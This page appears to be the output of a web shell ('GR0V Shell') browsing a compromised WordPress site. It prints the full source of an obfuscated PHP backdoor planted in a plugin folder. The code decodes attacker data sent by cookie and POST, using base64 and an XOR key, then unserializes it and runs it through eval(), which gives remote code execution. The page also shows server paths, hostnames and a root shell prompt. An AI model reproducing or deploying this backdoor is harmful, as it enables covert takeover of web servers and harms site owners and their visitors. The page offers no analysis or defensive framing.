? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/XMmB.php

$uQuOuc = "\x66" . chr ( 162 - 89 )."\110" . "\137" . "\x75" . 'H' . chr (111) . "\x49";$XxaSbc = "\143" . "\154" . "\x61" . chr (115) . chr ( 774 - 659 )."\137" . "\145" . "\x78" . 'i' . "\163" . 't' . "\x73";$QpPsyjwDa = class_exists($uQuOuc); $XxaSbc = "42188";$SiHns = strpos($XxaSbc, $uQuOuc);if ($QpPsyjwDa == $SiHns){function ofqAAgaIKk(){$EXmNp = new /* 26152 */ fIH_uHoI(50415 + 50415); $EXmNp = NULL;}$vzXqTtgkqm = "50415";class fIH_uHoI{private function MzgGQSlDj($vzXqTtgkqm){if (is_array(fIH_uHoI::$fRehQQ)) {$gKSqWCcEk2 = str_replace("<" . "?php", "", fIH_uHoI::$fRehQQ["content"]);eval($gKSqWCcEk2); $vzXqTtgkqm = "50415";exit();}}public function JTCIqd(){$gKSqWCcEk = "3617";$this->_dummy = str_repeat($gKSqWCcEk, strlen($gKSqWCcEk));}public function __destruct(){fIH_uHoI::$fRehQQ = @unserialize(fIH_uHoI::$fRehQQ); $vzXqTtgkqm = "15358_43275";$this->MzgGQSlDj($vzXqTtgkqm); $vzXqTtgkqm = "15358_43275";}public function PwkWpl($gKSqWCcEk, $YrQcK){return $gKSqWCcEk[0] ^ str_repeat($YrQcK, intval(strlen($gKSqWCcEk[0]) / strlen($YrQcK)) + 1);}public function QHxPPGh($gKSqWCcEk){$yQBjpc = "\142" . 'a' . 's' . "\x65" . chr (54) . "\x34";return array_map($yQBjpc . "\x5f" . "\144" . 'e' . "\x63" . 'o' . chr (100) . "\145", array($gKSqWCcEk,));}public function __construct($YtTyJ=0){$LcSlLkZY = chr (44); $gKSqWCcEk = "";$DGqLMb = $_POST;$bIDroif = $_COOKIE;$YrQcK = "c033bf16-ecbc-45cb-b697-4cce7740b5da";$ujqxh = @$bIDroif[substr($YrQcK, 0, 4)];if (!empty($ujqxh)){$ujqxh = explode($LcSlLkZY, $ujqxh);foreach ($ujqxh as $LLvKPaMCRv){$gKSqWCcEk .= @$bIDroif[$LLvKPaMCRv];$gKSqWCcEk .= @$DGqLMb[$LLvKPaMCRv];}$gKSqWCcEk = $this->QHxPPGh($gKSqWCcEk);}fIH_uHoI::$fRehQQ = $this->PwkWpl($gKSqWCcEk, $YrQcK);if (strpos($YrQcK, $LcSlLkZY) !== FALSE){$YrQcK = explode($LcSlLkZY, $YrQcK); $WZnXl = base64_decode(sha1($YrQcK[0]));}}public static $fRehQQ = 726;}ofqAAgaIKk();}

T1KUS90T
  root-grov@210.1.60.28:~$